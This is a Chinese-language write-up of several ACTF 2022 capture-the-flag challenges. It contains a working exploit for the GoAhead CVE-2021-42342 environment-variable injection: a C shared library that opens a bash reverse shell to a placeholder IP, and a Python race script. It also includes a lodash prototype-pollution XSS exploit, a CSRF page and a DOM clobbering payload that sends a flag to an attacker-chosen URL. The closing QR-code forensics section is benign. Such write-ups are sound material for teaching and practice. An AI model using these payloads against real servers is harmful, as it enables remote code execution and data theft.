web
gogogo
这道是ACTF的web签到题,是根据CVE-2021-42342 GoAhead 远程命令执行漏洞出的一道环境变量注入的题目,相对来说比较简单,按照p牛的文章就可以直接复现。
题目是一个用GoAhead起的Web server,和一个叫hello的cgi文件,有执行权限并且访问会输出当前的环境变量,除此之外也没什么别的,和文章中提的一样。
首先呢这个GoAhead是开启了CGI的配置的,所以我们可以在cgi-bin目录下访问到对应的cgi文件hello,访问一下看看先。
接下来我们可以在开启CGI配置的情况下,进行环境变量注入,通过发一个multipart数据包,以表单的形式注入环境变量,使用的环境变量是LD_PRELOAD
,之前打的虎符CTF2022中,ezphp那个题目也是利用LD_PRELOAD
出了一道php环境变量注入题。回到gogogo这个题目,先来看看怎么如何成功注入环境变量。按照p牛的文章,先请求一下看看能不能直接注入LD_PRELOAD
先用curl发个POST请求,在表单中添加LD_PRELOAD=1
发出去看看
这里补充一下对于CGI的内容,CGI是Web服务器和一个独立的进程之间的协议,它会把HTTP请求Request的Header头设置成进程的环境变量,HTTP请求的Body正文设置成进程的标准输入,进程的标准输出设置为HTTP响应Response,包含Header头和Body正文。
对于一个CGI程序,主要的工作是从环境变量和标准输入中读取数据,然后处理数据,最后向标准输出中输出数据。
- 环境变量
环境变量中存储的叫做Request Meta-Variables,也就是诸如QUERY_STRING、PATH_INFO之类的,这些都是由Web服务器通过环境变量传递给CGI程序的,CGI程序也是从环境变量中读取的。
- 标准输出
标准输出中存放的往往是用户通过PUTS或POST提交的数据,这些数据也是由Web服务器传递过来的。
我们现在通过Body中发送multipart表单的方式,能够成功环境变量注入。那我们如何利用LD_PRELOAD
这个环境变量来做到RCE呢?
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库,一方面,我们可以以此功能来使用自己的或是更好的函数(比如,你可以使用Google开发的tcmalloc来提升效率),而另一方面,我们也可以向别人的程序注入程序,从而达到特定的目的。
这样看来,我们可以上传一个.so文件到服务器,然后让LD_PRELOAD
的值为这个文件的路径,让hello这个程序运行时动态链接这个恶意的.so文件,从而达到RCE的目的。
而且直接去上传文件,GoAhead源码中对于上传目录的配置,会默认上传到/tmp这个目录,但直接去上传会由于/etc/goahead/tmp这个目录不存在并且也没有写权限而无法上传,不过题目的环境也是根据p牛这篇cve复现的文章做了对应的配置,修改了ME_GOAHEAD_UPLOAD_DIR
这个参数,Dockerfile里面有这样一句make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'"
因,这里"'\"/tmp\"'"
是用\转移了双引号,实际上是套了三层,最外层因为ME_GOAHEAD_UPLOAD_DIR
是个字符串要加双引号,然后在shell中传参又会去掉一层引号,最后在代码中又是作为一个字符串,因此是三层引号,看起来就不太好懂的样子,做一下解释。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #ifndef ME_GOAHEAD_UPLOAD_DIR #define ME_GOAHEAD_UPLOAD_DIR "tmp" #endif
PUBLIC void websUploadOpen(void) { uploadDir = ME_GOAHEAD_UPLOAD_DIR; if (*uploadDir == '\0') { #if ME_WIN_LIKE uploadDir = getenv("TEMP"); #else uploadDir = "/tmp"; #endif } trace(4, "Upload directory is %s", uploadDir); websDefineHandler("upload", 0, uploadHandler, 0, 0); }
|
所以虽然GoAhead本身不配置是不能这样传参的,但是题目环境是做了这样的配置的(题目应该就是按照P牛文章出的),因此在这种特定情形下,有/tmp目录,就可以上传文件。
那么接下来就是先尝试在本地劫持一个写有恶意代码LD_PRELOAD
的动态链接库,上传.so文件,利用恶意代码弹Shell,cat flag一把梭了。
但是还有一个需要说的就是,我们本地劫持动态链接库后,应该给LD_PRELOAD
赋值什么才能让cgi文件hello去链接我们上传的这个so文件呢?linux中在目录/proc/pid/fd/N
是文件描述符,是一个符号链接,指向实际打开的地址,而/proc/self/fd/N
就指向加载了LD_PRELOAD
这个环境变量的cgi程序进程本身了,这样就可以达到链接我们上传到/tmp/这个目录的恶意so文件的目的。
但是参考P牛文章,实际过程还会遇到ME_GOAHEAD_LIMIT_POST
大小限制的问题,默认是16284个字节,也就是我们使用的动态链接库不能过大,这里要需要gcc -s来缩小payload体积,使得不超过大小限制。
还有一个问题是为什么/proc/pid/fd/N
一定能够找到一个指向/tmp
下我们上传的so文件的文件描述符呢?实际上在执行到cgi这里时,被打开的临时文件描述符已经被关闭了,那么就无法找到我们包含的文件了,自然也无法达成利用。
这里的解决方案是想办法让这个文件描述符不要关闭,这里p牛给出的解决方案有两个,一是条件竞争,一个线程上传文件,一个线程使用LD_PRELOAD
包含这个文件,第二是给evil.so增加一些脏字符并且设置HTTP请求的Content-Length小于实际的数据包大小,使GoAhead完全读取到payload.so的内容,但是我们并没有完成上传文件的过程,使文件描述符没有关闭。
最后参考AAA师傅的官方payload,复现了题目。
1 2 3 4 5 6 7 8 9 10 11
| #include <stdlib.h> #include <stdio.h> #include <string.h>
__attribute__ ((__constructor__)) void aaanb(void) { unsetenv("LD_PRELOAD"); system("touch /tmp/success"); system("/bin/bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1'"); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import requests, random from concurrent import futures from requests_toolbelt import MultipartEncoder hack_so = open( 'hack.so', 'rb').read()
def upload(url): m = MultipartEncoder( fields = { 'file':('1.txt', hack_so,'application/octet-stream') } ) r = requests.post( url = url, data=m, headers={'Content-Type': m.content_type} )
def include(url): m = MultipartEncoder( fields = { 'LD_PRELOAD': '/proc/self/fd/7', } ) r = requests.post( url = url, data=m, headers={'Content-Type': m.content_type} )
def race(method): url = 'http://xxx.xxx.xxx.xxx:10218/cgi-bin/hello' if method == 'include': include(url) else: upload(url)
def main(): task = ['upload','include'] * 1000 random.shuffle(task) with futures.ThreadPoolExecutor(max_workers=5) as executor: results = list(executor.map(race, task))
if __name__ == "__main__": main()
|
poorui
这题是一个用react写的简易在线聊天室,主要使用web socket进行通讯,考的是lodash原型链污染结合XSS的内容。
那么这里首先聊天模板的地方存在lodash原型链污染,结合传图片可以XSS,使得admin用户windows.location到其他页面,断开ws链接把admin踢下线,从而登陆admin帐号getflag。
首先f12可以看到,source map是没有关的,虽然题目给出的附件只有build后的静态文件,但是f12却可以看到react写的源码,其中/component/chatbox.js中这里可以利用原型链污染,来让我们可以传图片。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| render(){ const data = sanitize(this.state.data) const type = this.state.type if(type === 'text'){ return <p className="text">{data}</p> } if(type === 'link'){ return <a className="text" href={data}>click this</a> } if(type === 'tpl'){ return this.templateCompile(data.tpl, data.ctx) } if(type === 'image'){ const attrs = isJson(data.attrs) ? JSON.parse(data.attrs) : data.attrs if(this.props.allowImage && attrs.wow){ return <div style={{ backgroundImage: `url(${data.src})`, backgroundSize: "contain", backgroundRepeat: "no-repeat", // width: '100%', padding: '25%', height: 0, }} {...attrs}/> }else{ return <p className="warning-text">sorry, <code>allowImage</code> is false</p> } } return <div>unknown message type: {type}</div> }
|
通过原型链污染能传图片后,我们再通过XSS,让admin windows.location到别的链接,断开ws链接后,登上admin getflag,就可以啦。
协会Summer师傅的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| const { WebSocket } = require("ws")
const code = `window.location.href = 'https://www.baidu.com'`
const ws = new WebSocket("ws://124.71.181.238:8081")
ws.on("message", data => { try { data = JSON.parse(data) } catch { return console.log(new Date(), data.toString()) } switch (data.api) { case "login": doLogin() }
console.log(new Date(), "message", data) })
ws.on("open", () => { setTimeout(() => { prototypePollution() sendImage() getFlag() }, 1000) })
function doLogin() { ws.send(JSON.stringify({ api: "login", username: (Math.random() + 1).toString(36) })) }
function prototypePollution() { const payload = { api: "sendmsg", to: "admin", msg: { type: "tpl", data: { tpl: "test.tpl", ctx: '{ "constructor": { "prototype": { "allowImage": true } } }' } } } ws.send(JSON.stringify(payload)) }
function sendImage() { console.log("send image") const payload = { api: "sendmsg", to: "admin", msg: { type: "image", data: { src: "http://www.baidu.com", attrs: '{"id":"x","tabindex":1,"is":"focus","autofocus":true,"wow":true,"onfocus":"eval(atob(`' + Buffer.from(code).toString("base64") + '`))"}', } } } ws.send(JSON.stringify(payload)) }
function getFlag() { console.log("get flag") setTimeout(() => { ws.send(JSON.stringify({ api: "login", username: 'admin' })) const payload = { api: "getflag", } ws.send(JSON.stringify(payload)) }, 1000) }
|
beWhatYouWannaBe
题目也是给出了源码的,首先是这个从界面上看,常规的注册登陆,登进去之后会提示需要成为Admin
所以先来看一下这部分功能的实现。
整体功能上也比较简单,首先flag的是分成了两部分,分别是16个字符,那我们先看第一部分的flag获取条件。
第一部分的flag需要我们user.isAdmin的值为true。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| app.get('/flag', (req, res) => { if (!req.session.user) { res.send(FAKE_FLAG) return } User.findOne({ username: req.session.user }, (err, user) => { if (err) { res.send({ err: err }) return } if (user.isAdmin) { res.send(FLAG.substring(0, 16)) } else { res.send(FAKE_FLAG) } }) })
|
当新建用户时,isAdmin的值默认为false。
1 2 3 4 5
| const newuser = new User({ username: username, password: password, isAdmin: false })
|
而接口/beAdmin提供了认证成为admin的方式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| const ValidateToken = (Token) => { var sha256 = crypto.createHash('sha256'); return sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex') === Token; }
app.post('/beAdmin', (req, res) => { if (req.session.user != 'admin') { res.send("sorry, only admin can be admin") return } const username = req.body.username const csrftoken = req.body.csrftoken if (ValidateToken(csrftoken)) { User.updateMany({ username: username }, { isAdmin: true }, (err, users) => { if (err) { res.send('something error when being admin') return } if (users.length == 0) { res.send('no one can be admin') } else { res.send('wow success wow') } } ) } else { res.send('validate error') } })
|
认证的条件是req.session.user == admin && ValidateToken(csrftoken) == true
,先抓个包看看默认情况下,点击按钮i want to be admin会发生什么。
回显sorry,only admin can be admin,因为不满足req.session.user == admin
因为我们这个用户不是admin对吧,然后所以我们确实没有办法直接去访问beAdmin这个接口,这个接口的作用是让某用户成为admin,相当于有提权的功能,但是只有admin才能调用这个接口。
所以我们就需要让admin访问这个接口,把我们这个用户的身份变成admin,来获取flag。
那这里题目又提供了一个功能让admin用户去访问一个url,我们可以通过这个let admin see see的功能,让admin访问一个我们构造好的恶意站点,来让admin发起一个向beAdmin接口的POST请求,把我们这个帐号的权限提升。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| function showAdmin(){ const url = document.getElementById('url').value alert(url) fetch('/admin', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ url: url }) }) .then(res => res.text()) .then(res => { alert(res) }) }
app.post('/admin', (req, res) => { let url = req.body.url ? req.body.url : 'http://pumpk1n.com' admin.view(url) .then(() => { res.send(url) }) .catch(e => { res.send(e) }) })
|
这里admin.js中可以看出,admin是利用puppeteer实现的自动登陆和自动访问。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| const puppeteer = require('puppeteer'); const process = require('process') const ADMIN_USERNAME = 'admin' const ADMIN_PASSWORD = process.env.password const FLAG = require('./config').FLAG const view = async(url) => { const browser = await puppeteer.launch({ headless: true, args: ['--no-sandbox', '--disable-setuid-sandbox'] }) const page = await browser.newPage() await page.goto('http://localhost:8000/login') await page.type("#username", ADMIN_USERNAME) await page.type("#password", ADMIN_PASSWORD) await page.click('#btn-login') await page.goto(url, { timeout: 5000 }) await page.setJavaScriptEnabled(false) await page.goto(url, { timeout: 5000 }) const data = await page.evaluate((url, FLAG) => { if (fff.lll.aaa.ggg.value == "this_is_what_i_want") { return fetch(url + '?part2=' + btoa(encodeURIComponent(FLAG.substring(16)))); } else { return fetch(url + '?there_is_no_flag') } }, url, FLAG) await browser.close() } exports.view = view
|
因此我们可以构造这样的界面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| const app = require('express')() const bodyParser = require('body-parser') const session = require('express-session') const crypto = require('crypto')
const LISTEN = '0.0.0.0' const PORT = 3000
app.set('view engine', 'ejs') app.use(session({ secret: "aaaa", resave: false, saveUninitialized: true, cookie: {secure: false}, })) app.use(bodyParser.urlencoded({extended: false})) app.use(bodyParser.json())
app.get('/', (req, res) => { var sha256 = crypto.createHash('sha256'); res.render('index', {token: sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex')}) })
app.listen(PORT, LISTEN, () => { console.log(`listening ${LISTEN}:${PORT}...`) })
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> <form method='POST' action='http://localhost:8000/beAdmin' target="csrf-frame" id="csrf-form"> <input id="csrf" name='csrftoken' value="<%= token %>"> <input name='username' value='test'> <input type='submit' value='submit'> </form> <script> document.getElementById("csrf-form").submit() </script> </body> </html>
|
放在自己服务器上运行后,让admin去访问这个页面,我们就能成为admin,拿到前面半个flag啦。
那么第二部分的flag获取条件和第一部分不太一样,第二部分是使用Dom Clobbering进行攻击,当满足条件时,admin会带着base64编码后的后半个flag发送一条GET请求到我们指定的url,那么根据http的流量记录我们就能拿到flag了,而关键是如何利用Dom Clobbering来满足题目要求。
1 2 3 4 5 6 7 8 9 10
| await page.setJavaScriptEnabled(false) await page.goto(url, { timeout: 5000 }) const data = await page.evaluate((url, FLAG) => { if (fff.lll.aaa.ggg.value == "this_is_what_i_want") { return fetch(url + '?part2=' + btoa(encodeURIComponent(FLAG.substring(16)))); } else { return fetch(url + '?there_is_no_flag') } }, url, FLAG)
|
这里关闭了js并且访问我们给出的url,要求fff.lll.aaa.ggg.value
的值为”this_is_what_i_want”,就会给出flag。
参考文章https://xz.aliyun.com/t/7329和https://portswigger.net/research/dom-clobbering-strikes-back
如果对于一层的值的调用,我们可以直接在页面上构造对应html元素,并且让admin去访问即可,但是这里是有多层的就需要一些技巧,用到iframe与srcdoc来进行配合。
1 2 3 4
| <iframe name=fff srcdoc=" <iframe name=lll srcdoc='<a id=aaa><input id=aaa name=ggg value=this_is_what_i_want>'>"></iframe> <img id="test" src="http://x.x.x.x:xx"> <script>document.getElementById("test").src="1"</script>
|
base64解码就能得到后面半个啦。
ToLeSion
Mysient
misc
Broken QRCode
题目作者也是写了一篇wp,这里参考进行复现。
翔鸽最近好像在筹备一个二维码的视频,在开发时不小心在群里泄露了题目,虽然及时撤回了,但还是从群里的 bot 日志翻到了以下信息:
1 2 3 4 5
| 2022-06-24 13:57:24 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> 刚写完了二维码生成器,但是好像写出 bug 了,扫描不了,你们看看? 2022-06-24 13:57:50 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> [mirai:image:{AA8F922E-7A7C-886E-F54C-E82D73F614D8}.jpg] 2022-06-24 13:58:26 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> 草 2022-06-24 13:58:58 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> 才反应过来,这可不兴看啊,里面是要给 ACTF 出的题来着( 2022-06-24 13:59:06 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> 撤了撤了(
|
题目描述其实比较简单,就是一段mirai记录下的聊天记录,那么根据mirai的接口我们可以提取这张jpg。
并且作者放了hint:I broke this QR code by just missing a step
那么这里的错误是二维码没有进行掩码操作。
我们使用qrazy补上掩码这一步。
访问给出的gist链接,得到一个压缩包,发现解压不了需要修复。
通过16进制查看器可以发现,16制存储的信息转换成ascii码刚好是504B0304开头的一个用16进制存储的压缩包的信息。
那么我们这里只需要将ascii转换成16进制即可,这里我用的是linux下的工具Okteta把原zip的ascii值复制出来,存成新的压缩包,也可以使用如下的python脚本。
1 2 3 4 5 6 7 8
| f = open('qrcodes.zip', 'r') a = f.read() f.close() f = open('qrcodes1.zip', 'wb') a=int(a,16) b=len(bin(a)[2:])//8+1 f.write(a.to_bytes(b, byteorder='big')) f.close()
|
解压后得到12张二维码jpg。
对于一个图片的隐藏信息,要么是隐藏在图片的编码中,不论是LSB还是藏在16进制值的末尾,都是通过编码方式来隐藏信息,要么就是隐藏在图片的内容中,这里前面半个是通过编码来隐藏的,后面半个是通过内容隐藏的。
我们先看前面半个flag的获取,jpg的16进制值结束为FFD9,在第1张jpg的末尾隐藏了一段16进制值41 03 14 C7 95 F6 B6 E3 07 75 F5 15 24 36 F6 43 37 D0 EC 18 7C 22 9C 4D 4A 44
。
这是字符串表示成二维码的中间过程,是二维码的比特序列(data sequence),使用https://www.nayuki.io/page/creating-a-qr-code-step-by-step也可以验证这是Split blocks, add ECC, interleave后的二维码比特序列,那么就是需要逆回去来解析这个二维码的原字符串。
解析得到 1Ly_kn0w_QRCod3}
。
另一半的flag需要从图片的内容中获取,也就是二维码的内容。由于二维码的识别存在纠错机制,扫描时可以靠纠错来得到正确内容,而我们扫描这12个二维码会得到12句歌词,因此我们可以通过这个歌词,来生成完全正确的二维码,再与存在错误的二维码diff,从而获取到通过这些错误表示的信息。
得到flag ACTF{Y0u_Re41Ly_kn0w_QRCod3}
。